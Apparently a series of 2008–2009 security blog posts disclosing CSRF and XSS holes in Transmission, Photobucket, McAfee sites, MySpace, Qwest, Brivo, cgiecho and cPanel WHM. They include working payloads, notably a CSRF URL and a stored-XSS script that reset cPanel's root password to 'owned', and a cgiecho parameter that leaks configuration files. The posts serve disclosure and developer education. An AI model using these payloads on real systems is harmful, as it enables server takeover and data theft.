Owning Ubuntu with CSRF

When the latest version of Ubuntu was released, it came with a new version of the Transmission bit torrent client. One of the new features of Transmission was a web interface, which would allow users to manage torrents from their web browsers. The service is ip-restricted to localhost.

Why the service should be enabled by default, or why the local user (the only one able to access it by default) would ever want it, I'll never know, but it should be no surprise to anybody that I immediately poked around for CSRF holes.

As it turns out, the holes were there, and though a bit tricky to exploit- it required mangling the form inputs and using the text/plain encoding, Transmission was quite vulnerable. Here's a proof-of-concept. Basically, it allows me to first change the download destination to one of my choosing, then download a torrent of my choosing. This is bad- I could force a user to download a new .bashrc file or overwrite their entire home directory (I actually did this by accident while testing the exploit. Backups are great).

Other problems do make it harder to exploit. First, when you start the torrent, it pops up a box asking the administrator what he wants to do with it. Many people, including myself, have it configured to skip this step, as it's extremely annoying.

When you make the CSRF requests, the result is returned in JSON format, and browsers without handlers for it will pop up a box asking if you'd like to save the file. When this box pops up, it is already too late, as the request has already been processed by the server, but it does at least keep the attack from being silent.

This isn't really a new exploit- Nate McFeters talked about doing the same thing through an XSS hole in the Azureus web interface in his talk, "the Internet is Broken", at Black Hat 2008.

The hole is fixed in today's release, so go ahead and upgrade, then disable that web server.

Please, let's start taking CSRF seriously.

Most PCI Companies Are Insecure

The McAfee XSS got slashdotted. I think that all this attention is a good thing, putting a spotlight on XSS issues, but I have to say, I'm surprised by it. It's not like XSS attacks are news anymore, and it's not as if this is the first McAfee XSS to be published. Last night, I found an XSS hole in the verification script for their SiteAdvisor service (for extra irony).



But really, focusing on these XSS holes is missing the point. I never thought I'd say this, but in my experience, McAfee is one of the better ASVs out there. This isn't a compliment to them, it's an insult to the entire industry. Here are a few examples of other ASVs.

Until last week, atsec.com was vulnerable to XSS.

Until last week, secureconnect.com was vulnerable to XSS.

Until last week, ncircle.com was still vulnerable to XSS.

sungard.com is still vulnerable to XSS.

controlcase.com is still vulnerable to XSS.

support.foundstone.com (McAfee's premium brand) is still vulnerable to Cross-site Framing.

Up until a few weeks ago, there were also open redirects on the websites of Qualys, SecurityMetrics, and others. Is it any wonder I'm not at all shocked at a few XSS holes in McAfee's web site?

Some of these companies should be commended for handling the vulnerabilities correctly- nCircle, SecureConnect, Qualys, and even McAfee responded admirably- sometimes the issue was fixed within minutes of my vulnerability report. Others- Foundstone, ControlCase, and Sungard, belong in the doghouse- none of them even responded.

However, the glaring fact is that the entire PCI scanning industry is, frankly, bad at scanning for vulnerabilities. Most of these websites use their own scanning service on their own websites. While I still hold that in-depth audits for these sites should have taken place long ago, the scanners should have caught the problems as well. Some of these domains contain the portals for customers to manage their PCI compliance scans.

People, let's take the focus off of McAfee, and put it where it belongs. The PCI scanning industry as a whole is a joke, and across the board, these Web Security companies are themselves bad at security.

Edit 5-6-2009: nCircle was one of the fast-responders.
I mistakenly listed them as one of the "doghouse" ASVs.


Photobucket Private Album Access via CSRF

I've been playing a lot with CSRF lately. As I find ways to manipulate more and more services with what is probably the most basic type of attack possible, I keep getting surprised by the insanely cool things that one can do with it.

Photobucket allows users to make albums either "Public" or "Private", the latter of which will enable access only with a guest password. While chatting with a friend online recently, I tried to view one of her private albums. Knowing what I do for a living, she gave me permission to do so, but said I'd have to find my way in without her help. So I did.

The form for setting a private album's password, as well as the one for making an album public, both are vulnerable to CSRF. In fact, both use GET parameters to do their magic, so it's actually pretty trivial to pull off a successful attack. I wrote a proof of concept, but it's really not that complicated.

Not only can users' albums be made public, but variations on this exploit can be used to change passwords on albums, delete photos, and compromise account passwords. This really is a serious issue- while Photobucket's TOS may protect them from liability (and may or may not hold up in court), there are a lot of extremely private photos stored there.

I emailed a vulnerability report to Photobucket on the morning of 4-9-2009, but have not received a response.

Cgiecho XSS and Information Disclosure

cgiecho is a test cgi script, usually packaged with a formmailer called cgiemail. It's found in the cgi-bin directory of a lot of sites, due to it being a default script in many cPanel installations. The script was written by somebody at MIT some time ago, and so is common on high-profile sites such as mit.edu and
xmission.com.

The script contains XSS and path disclosure holes, one example of which can found on mit.edu, but that's not really the emphasis of this report.

Basically, cgiemail allows a user to specify a template file from anywhere within the web root. When data is posted to it, substitutions are made based on the parameters posted and the content of the template file.

For example, if a template file "/templates/mail.txt" contains the following:

Hello [firstname] [lastname]!

When the parameters firstname=dr&lastname=evil are submitted to http://victim.com/cgi-bin/cgiecho/templates/mail.txt, the returned page will make those substitutions.

Many web scripting languages dereference array values using the [] characters, so the cgiecho script can be forced to return the contents of sensitive files if the index of any one array is known.

If a configuration file is located at /includes/config.php and contains the following:

define('HOME', $_SERVER['DOCUMENT_ROOT']);
define('USERNAME', 'victim');
define('PASSWORD', 'secret');

An attacker can post "%27DOCUMENT_ROOT%27=bork" to http://victim.com/cgi-bin/cgiecho/includes/config.php and read the contents of that file.

define('HOME', $_SERVER[bork]);
define('USERNAME', 'victim');
define('PASSWORD', 'secret');

For testing purposes, a form to generate correct attack parameters is located here.

cPanel Root CSRF: Round 3

Readers who have been with me from the beginning (as well as the guy that read my entire site yesterday) will recall that last fall, I posted several XSS and CSRF vulnerabilities with the cPanel WHM interface. Essentially, these vulnerabilities would allow me, as an attacker, to root a cPanel server simply by having an authenticated administrator browse my website. At the time, the vendor did not respond to my vulnerability reports, and the problems went unfixed until I resubmitted them to Secunia in February.

cPanel finally took action, fixing the XSS hole that I had found. However, the CSRF issues (which were much more critical in this case) were ignored. Their response to these issues was that CSRF can be prevented using the "XSRF Protection" feature in the WHM administration interface. I double checked and sure enough, there was such a feature. It was obscure, disabled by default, nowhere to be found on the cPanel documentation pages and FAQ (which ironically has its own XSS holes), and had verbage next to it that would discourage most administrators from enabling the feature. Essentially, cPanel treats these critical CSRF holes as a feature:



I didn't have all that much time to look into it until today, when I decided to actually test this feature. Digging into the code, the first thing I noticed was that all the "XSRF Protection" does is check the referrer that your browser sent- if it doesn't match one of the known domains for the server, the requested action is not allowed to take place.

The first way around this was obvious. If your browser does not send any referrer, the XSRF protection does not kick in. Referrers can be suppressed several ways, but the first one that comes to mind for me is SSL. Many browsers will not send referrers when coming from an SSL page. This morning, I wrote a proof of concept that bounces the user off an SSL-encrypted open redirect (there's plenty of them out there). A few tests with the latest version of cPanel confirmed that Firefox 3 does not send a referrer, and the XSRF Protection feature had no effect.

Assuming that the browser did send referrers, there are still plenty of ways to bypass it. The next thing that comes to mind is simply using a domain on the whitelist to execute the attack. With a few hundred users on most cPanel servers, finding an open redirect, file upload, XSS, or cross-site framing hole is usually trivial. If you combine that with the mod_userdir attacks I posted last week, you can increase the effectiveness of this attack even further.

The next idea I had was to add my domain to the list of allowed domains. It requires access to a local account on the server (legitimately or not), but any user can add extra domains and subdomains to his site- subdomains which are considered "allowed" by cPanel. This provides yet another effective way to avoid the XSRF protection feature.

The back end code for the cPanel interface is an absolute mess- it's amazing that it works as well as it does. Not just the WHM interface, but the entire package is vulnerable to CSRF and XSS attacks at nearly every level. This software manages hundreds of thousands of websites.

This is bad.

But preventing CSRF would break your third party billing software, so we should probably allow it by default. That's a great idea.

Edit: cPanel did, in fact, mention the XSRF Protection feature on their blog about a year ago. This post calls the CSRF issues "security issues, which range in severity from trivial to medium-critical"

Opening Doors With XSS

This is the first in a series of posts on "cool things I broke with web exploits."

A few weeks ago, I demoed an access control system from ADT. Being the bad person that I am, I was less interested in the system's features than I was in the ways that it could be broken, and as soon as I heard it had a web-based administration interface, I knew I was going to have fun.

Like any good hacker, I paid careful attention through the demonstration, probing for more information about the system ("How many customers use this system? Banks too, huh? Which banks? Do they all use the same admin interface?"), slyly jotting down the username and password from the post it note on the demo kit, and making careful note of the admin login's URL. After the presentation, I did a bit more online research, and came up with the following-

The system in question (Brivo ACS) is widely installed by ADT, but was designed by a company named Brivo Systems, LLC. Brivo runs the servers and maintains the application. ADT, as well as a wide range of other companies, function as dealers, resellers, and installers. Roughly 25,000 doors are controlled by one server, with users ranging from financial institutions to IT datacenters. The system runs the logic behind HID and other token-based authentication mechanisms- You scan your card, the server decides whether you are allowed in, logs the request, and opens the door.

So I set out to find an exploit. It being a web app, I was in my comfort zone. Probing for input validation holes, I was pretty impressed with the thoroughness of the filtering.... until I found an error page.

I love error pages, they tell you all kinds of useful information, including account data, a stack trace, and internal application variables. For bonus points, they print it all out without any escaping. Once I found the error page, I was just one request away from a working XSS exploit:



The consequences of this are huge- while it may not be a simple exploit to pull off, this gives an attacker the ability to steal sessions and manipulate a building administrator's browser. An attacker can easily add his own keycard to the list and walk around secured areas uninhibited. That's a pretty Big Deal.

So, for all those people that think XSS is a minor issue, I present this as Exhibit A.

On the plus side, Brivo's response to my emailed vulnerability report was exemplary. Almost immediately, I had a call to let me know they were looking into it. The next day, a developer spoke with me about it, and by the end of the week, a patch was being tested. I have to give them credit- they responded quickly and professionally. They're currently doing a full review of their systems for other configuration issues (like the error page) and input validation holes. They even invited me to poke around some more once the review process is complete.

Lessons learned- Web-based administration is tricky stuff to do right, XSS does very cool things, and I like companies that listen.

Myspace XSS

It was kind of a trend for a while to post Myspace XSS holes, but that kind of died out. I had a bit of time this morning and decided to find one. Given that these days, MySpace has a huge amount of partnerships with other companies, all creating their own apps, it didn't take long.



The XSS URL is:
http://ksolo.myspace.com/actions/showSongProfile.do?rid=1135511a&sid=207484&uid=);" style="font-size:25em" onmouseover="alert(1337

Qwest XSS

Here's a fun story about XSS and why we should take it seriously.

Due to the location of my residence and the ineptness of my HOA, the buildings around me get fiber optic, but I can't. So I use Qwest DSL for my home internet access. While I'm not a huge fan of the company, they generally tend to get things done and not cause me too much grief. There's a lot I don't like, but not enough to quit using their service.

About a year ago, I was paying my bills and visited the "My Profile" page. Out of curiosity, I stuck a few quotes and HTML tags into a few fields and much to my surprise (not really), found some permanent XSS holes. While I don't like seeing it, this alone isn't really news (as evidenced by the recent string of holes we've been finding on bank and credit company websites). I left one field set to pop up an alert box every time I log in and mostly forgot about it.



A few months later there was an internet outage. The Tech Support call was a whole 'nother adventure (what "scheduled router maintenance" results in a 30+ hour outage? There's something they weren't telling me), but the interesting part was when the rep brought up my account information. She sounded confused on the phone, said something like "what's this? This is weird..." and after a few loud clicks, seemed to get back on track and finish the call. It wasn't until after I hung up that I realized what had happened- my XSS has executed in the context of a Tech Support rep, who presumably has access to other accounts, network information, and other goodies...

I never did anything with it, but did mention it to a few of Qwest's IT people I met a few months later. They didn't seem too concerned. I then looked through the Qwest website a bit more and found a few more XSS holes- these ones in the public side. I reported them, posted them on XSSed, and forgot about them. They never did get fixed.

While finding security holes in the financial sector seems to be all the rage these days, I'm going to focus for the next while on some public utilities. Frankly, they scare me more- they're often government owned and operated, so have less market-driven controls in place. Most of them know your Social Security number, your credit card number, your checking account information, and they directly affect your everyday life.

Wouldn't it be scary if your power company used outdated perl scripts to handle billing and account management? Mine does.

Redirecting Safely

I don't think this is news to the other security people, but as a developer, I had never heard of this issue. As far as I know, none of the developers I regularly work with had heard of it either (though using the code as recommended by the php.net manual will prevent it).

In many PHP applications, there is an admin side and a public side. It is common for developers to have an "admin check" in the code header of the admin side, which essentially evaluates whether a user is authorised to view a resource and either redirects them to the login page, the public page, or lets them through to the resource.

What many developers don't realize is that a browser doesn't have to terminate a connection as soon as it receives a 302 redirect. If you are relying on the following call to keep the riffraff out of your admin pages, you may be vulnerable:

header('Location: login.php');

I can't tell you how many times I've been able to access reports full of user logins, order information, or even account modification functionality, simply by asking my browser to continue loading a page after receiving a redirect. If you need a testing tool to see if you are vulnerable, I whipped up this perl script one day to allow me to simply snag admin pages or post content to them during a penetration test.

In case it isn't obvious, you can prevent this hole simply by halting the flow of the application. If you aren't using more advanced templating and flow control (which I'd recommend anyways), this will work:

header('Location: login.php');
die('Kindly piss off.');

While obvious, this issue is incredibly widespread, and I have to wonder how many developers are unaware of it.

PHP's Most Useless Security Bug

I found this a few months ago and have been racking my brain for a way to use it in a pentest. Maybe somebody else can find a practical exploit for this; so far, I have nothing. I do think it's kind of funny though.

With display_errors on, PHP will send errors to the browser, along with the location of the buggy code. This is often useful for debugging, and helpful to malicious users. Interestingly, it doesn't filter the filename for HTML characters.

If you were able to, say, create a folder named "<script>alert(1337)<", and within it, place a file called "script>.php", which in turn threw an error, you'd get something like this.

More McAfee Snake Oil

The McAfee Secure certification is useless.

Over at holisticinfosec.org, Russ McRee has been covering this in depth, but I've had the fortune to know the inside story.

Russ has been making snake oil vendors' deficiencies public for some time. A few weeks before Black Hat, he and I were talking about this, and he showed me a handful of "McAfee Secure" sites. All of them had XSS holes, and many had much worse- SQL injection and other serious issues. Over the next few weeks, we traded more vulnerabilities as we found them, and he amassed a pretty impressive list of weak, but certified secure sites. To top all of this off, we found XSS holes on McAfee's own domain.

We also got our hands on a PCAP dump of one of their scans, which revealed quite a bit of insight into the scanning process. We were able to prove that they do not revoke PCI compliance or McAfee Secure certifications for XSS, though the engine does indeed fuzz for (and occasionally even find) them.

While they were being awarded their Pwnie, Russ put together a paper detailing these findings. He sent the paper to McAfee before publishing, in order to give them a chance to address the issues before they were made public. They surprised us both by responding positively. Some of McAfee's top people spoke with Russ in person a few weeks later, resulting in him publishing this blog post.

That was some time ago, but we still haven't seen any progress. A published standard for what exactly "McAfee Secure" means was promised after 2-3 weeks, and we're now pushing five. The information that we have isn't encouraging- it appears that McAfee Secure will have a different set of standards for enterprise websites and the smaller "Ma and Pa" shops. The latter will not be required to fix XSS issues and the former will not have to do so until an arbitrary time period has expired. What this means is that, to a user looking for evidence that a site can be trusted, the "McAfee Secure" badge on a website will mean exactly what it does now: Absolutely nothing.

I suppose that anybody can offer their own meaningless certifications (and some people have), but as Rafal noted yesterday, calling these sites "McAfee Secure", "Hacker Safe" or anything of the sort is in poor taste at best- fraudulent on the other end of the spectrum.

This brings us to today.

It appears that McAfee intendes to leverage their brand recognition and captalize on the trust of the ill-informed. They have a new service advertised on parts of their website. Found at secureshopping.mcafee.com, it is basically a meta-search engine which will allow one to "shop with confidence at McAfee SECURE certified merchants", according to the text on the site. This actually doesn't strike me as a bad idea, provided the certification is worth something. Considering the certification isn't, the whole thing is rather laughable.

I first stumbled across this site just before Black Hat. The app was probably not intended to be public then, but I immediately (accidentally, actually) discovered an XSS hole in it (this was one of the holes on McAfee's domain mentioned above). While that hole has since been fixed, the situation really isn't any better now.

To begin with, the application doesn't use transport-layer encryption, and is therefore vulnerable to sniffing, tampering, and all the man-in-the-middle attacks that we already know and love. But who bothers with SSL these days?

The shopping application itself seems to be based on the same code as that of become.com. Actually, they appear to have partnered for this service, because when you click a link from McAfee's site to a particular product, you are given a 302 redirect to partner.become.com, then to stat.dealtime.com (whoever that is). From there you are 302-ed anywhere from one to three more times before landing on the requested product page, provided by a McAfee Secure merchant.

In theory, at least.

For the sake of breaking things, let's build a link that will take us through the McAfee Secure gateway to an uncertified website. We'll go to www.become.com, find a product, then deconstruct the link and pass its unique identifier to McAfee shopping center (which, being based on the same code, uses the same format for its links). Lo and behold, the following link will take you directly to the product on Amazon.com- which according to McAfee Secure, is not McAfee Secure.

Next, let's take a look at the app's session ID generation. Admittedly, sessions don't appear to be used for anything in the site (except maybe tracking user activity), but I have to assume that session functionality was added for some reason, and it nicely demonstrates their own lack of understanding of web application security. Can you find the pattern?

1223516988361-0-9IDB
1223516989602-0-gnpY
1223516990254-0-SZPR
1223516990913-0-F9jC

That's right folks, they're using timestamps as session IDs. Now, I've seen this practice used by banks, mortgage companies, and ecommerce sites, but I never expected to see such poor practices on the website of the "world's largest dedicated security technology company" (their boast, not mine).

Finally let's look at the partners, who we have to assume will help provides us "a secure online shopping experience with thousands of McAfee SECURE sites". The sites at become.com and dealtime.com are themselves riddled with XSS and open redirect holes (not to mention storing the answer to a CAPTCHA within the form to be submitted).

With such poor decisions being made, can we really expect McAfee Secure to live up to its name?

More Fun With cPanel

I've had a few people contact me about this cPanel exploit- mostly people I'd rather not give further information to (sorry guys, but you're not even very good at being bad guys). Unfortunately, I also don't think anything will get fixed unless it gets made public.

I did some more work on the WHM interface, and it turns out that XSS isn't even necessary to change the root password. It can all be done with CSRF:
http://victim.com:2086/scripts/passwd?user=root&password=owned&password2=owned&submit-domain2=Change+Password

In case you're not familiar with CSRF, it is a vulnerability that is extremely underrated- forcing authenticated users to perform actions for you via well placed links, resource tags, or open redirects.

Let me repeat that: If you are logged into cPanel, and you hit a website that I can embed an image link in (which is nearly every web site out there, these days), I can root your server. I What's more, I won't leave any traces at all, because you actually root the server for me.

This is a big deal.

But it's worse than that. There are plenty of other CSRF holes in the WHM interface. Here, I can force you to download and install arbitrary code from cPanel's servers, downgrading or upgrading your software to a vulnerable version at will:

http://victim.com:2086/scripts2/saveuthemes?themetype=modules&${moduleName}=${versionNumber}

One final point, in case you think needing local access for my permanent XSS hole is too much work, here's a reflected XSS exploit:

http://victim.com:2086/scripts2/confdkillproc?%3Cscript%3Ealert(1337)%3C/script%3E=1&trusted=

Seriously, folks. Web-based management interfaces are a bad idea.

cPanel Root XSS

cPanel is the industry leader in web hosting management software. According to their website, the software is used on "tens of thousands of servers worldwide". Basically, cPanel provides all the traditional UNIX system administration tools through a web-based interface. The interface is very nice, and I have a healthy chunk of respect for the perl-fu of the developers that built it.

From a security aspect, however, the software is flawed by design. The first problem is that mass hosting is the dumbest idea in the world. I'll talk about that in future posts.

The second problem, and the point of this post, is that by combining low-level tools with a web interface, you tend to get the worst of both worlds. An attacker can use techniques from the still-relatively-new domain of web application security to perform old-school attacks that have been fixed many times over.

It turns out that you can, in fact, use cross-site scripting to hack a server

Here's an example. I have quite a few more XSS and CSRF holes, but this should suffice for making my point.

Every cPanel user's account contains a file titled .contactemail in its home directory. This is used to tell the server and administrators who to email when things go south, and can be changed by the user through the cPanel interface, the file manager tool, FTP, or through local scripts. It's only a text file, after all. Assuming we set our email address to:

"onmouseover="alert(1337)

When the friendly system administrator tries to reset our email address (because we forgot our password, obviously), he will receive an alert box in his browser.

But an alert box doesn't really demonstrate anything. Fortunately the WHM (Web Hosting Manager) interface has enough functionality that we can perform just about any system-level task we want. This one will reset the root password to 'owned':

"onmouseover="f=document.forms[0];f.action='/scripts/passwd';f.user.value='root';f.removeChild(f.domain);d=document.createElement('input');f.appendChild(d);d.name='password';d.value='owned';d=document.createElement('input');f.appendChild(d);d.name='password2';d.value='owned';f.submit()

Of course, the only limit is your imagination- WHM can set up cron jobs, add and delete users, send full backups to a server of your choice, and reformat hard drives.

I'll be honest- I like having a web-based administration for servers, routers, printers, and other appliances. Web standards are cross-platform, and browser support is getting better all the time. But do we really need to replace shell-based administration with a web interface? I'm not going to answer "no" right away, but if you're going to do it, you need to be aware of the risks, and awfully careful.

Based on my experiences as both a coder and a penetration tester, a huge majority of developers (even the really good ones) don't understand what security risks there are, much less how to mitigate them. This isn't a problem that is limited to web developers, but it is much more pronounced in that field.

With that in mind, many of my future posts are going to be directed not to other security researchers, but to developers. If they are going to make an interface for managing a server, hopefully they care enough to educate themselves on the risks.

The exploit code above was last tested with cPanel 11.23.4-R26118/WHM 11.23.2 on 8-4-2008.